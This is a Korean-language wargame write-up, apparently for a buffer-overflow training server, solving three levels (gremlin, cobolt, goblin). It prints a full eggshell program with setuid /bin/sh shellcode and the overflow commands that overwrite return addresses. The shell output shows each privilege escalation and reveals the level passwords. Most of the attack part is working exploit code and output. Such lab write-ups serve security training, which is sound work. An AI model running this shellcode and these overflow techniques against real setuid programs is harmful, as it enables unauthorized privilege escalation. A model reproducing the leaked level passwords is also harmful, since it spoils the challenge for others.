BOF Report

Written by HEX0D
http://eval.co.kr
greatwarm@eval.co.kr

Level1. gremlin

텔넷으로 접근하여 gate/gate로 로그인하면 해당 계정의 홈 디렉토리에 아래와 같은 파일 목록이 나온다.

```
[gate@localhost gate]$ ls -l
total 20
-rwsr-sr-x    1 gremlin  gremlin     11987 Feb 26 14:28 gremlin
-rw-rw-r--    1 gate     gate          187 Feb 26 14:28 gremlin.c
```

gremlin이 공략해야할 바이너리 이고 gremlin.c는 바이너리의 소스코드인 것으로 보인다.

```
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc<2){
        printf("argv error₩n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s₩n", buffer);
}
```

이것이 gremlin의 소스코드이다.

gdb로 바이너리를 분석해보면 버퍼의 크기는 256bytes인 것을 알 수 있다.
(gcc버전이 낮아서 그런지 dummy를 생성하지 않는다.)

해당 바이너리를 공략하기 위해 환경변수에 쉘코드를 올릴 필요가 있다.
그것을 행하기 위해 eggshell.c를 컴파일하여 사용한다.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


#define DEFAULT_OFFSET                0
#define DEFAULT_BUFFER_SIZE       256
#define DEFAULT_EGG_SIZE          2048
#define NOP                   0x90

char shellcode[] =
"₩x31₩xc0₩xb0₩x31₩xcd₩x80₩x89₩xc3₩x89₩xc1₩x31₩xc0₩xb0₩x46₩xcd
₩x80" //setuid(geteuid())
"₩xeb₩x1f₩x5e₩x89₩x76₩x08₩x31₩xc0₩x88₩x46₩x07₩x89₩x46₩x0c₩xb0
₩x0b"
"₩x89₩xf3₩x8d₩x4e₩x08₩x8d₩x56₩x0c₩xcd₩x80₩x31₩xdb₩x89₩xd8₩x40
₩xcd"
"₩x80₩xe8₩xdc₩xff₩xff₩xff/bin/sh";

unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
char     *buff, *ptr, *egg;
long     *addr_ptr, addr;
int      offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int      i, eggsize=DEFAULT_EGG_SIZE;

if ( argc > 1 ) bsize = atoi(argv[1]);
if ( argc > 2 ) offset = atoi(argv[2]);
if ( argc > 3 ) eggsize = atoi(argv[3]);

if ( !(buff = malloc(bsize)))
{
printf("Can't allocate memory for bsize₩n");
```

```
exit(0);
}

if ( !(egg = malloc(eggsize)))
    {
    printf("Can't allocate memory for eggsize");
    exit(0);
    }

    addr = get_sp() - offset;
    printf("Using address: 0x%x₩n", addr);

    ptr = buff;
    addr_ptr = (long *)ptr;
    for(i = 0; i < bsize; i+= 4)
    *(addr_ptr++) = addr;

    ptr = egg;
    for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

    for(i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

    buff[bsize - 1] = '₩0';
    egg[eggsize - 1] = '₩0';

    memcpy(egg, "EGG=", 4);
    putenv(egg);
    memcpy(buff, "RET=", 4);
    putenv(buff);
    system("/bin/bash2");
}
```

/bin/bash2를 사용하는 이유는 게시물에 권고되었다시피 스크립트 언어와 호환되기 위해서이다.

```
[gate@localhost tmp]$ ./egg
Using address: 0xbffffb28
```

컴파일한 eggshell을 실행하였더니 주소 값을 반환해 준다.
우리는 저 주소값을 기준으로 공격을 하면 된다.

```
[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260 + "₩x28₩xfb₩xff₩xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA(?
bash$ id
uid=501(gremlin) gid=500(gate) egid=501(gremlin) groups=500(gate)
bash$ my-pass
euid = 501
hello bof world
bash$
```

Level2. cobolt

```
[gremlin@localhost tmp]$ ./egg
Using address: 0xbffffb18
[gremlin@localhost tmp]$ cd ..
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20 + "₩x18₩xfb₩xff₩xbf"'`
AAAAAAAAAAAAAAAAAAAA?
bash$ id
uid=502(cobolt) gid=501(gremlin) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed
bash$
```

Level3. goblin

```
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s₩n", buffer);
}
```

이전과 달리 gets로 값을 받는다.
이 경우 (python -c ‘print "A"x버퍼수 + “쉘코드 주소”’;cat) | ./바이너리) 와 같이 공격하면 된다.

```
[cobolt@localhost tmp]$ ./eggshell
Using address: 0xbffffb18
[cobolt@localhost cobolt]$ (python -c 'print "A"*20 + "₩x18₩xfb₩xff₩xbf"';cat) |
./goblin
AAAAAAAAAAAAAAAAAAAA?

id
uid=503(goblin) gid=502(cobolt) egid=503(goblin) groups=502(cobolt)

my-pass
euid = 503
hackers proof
```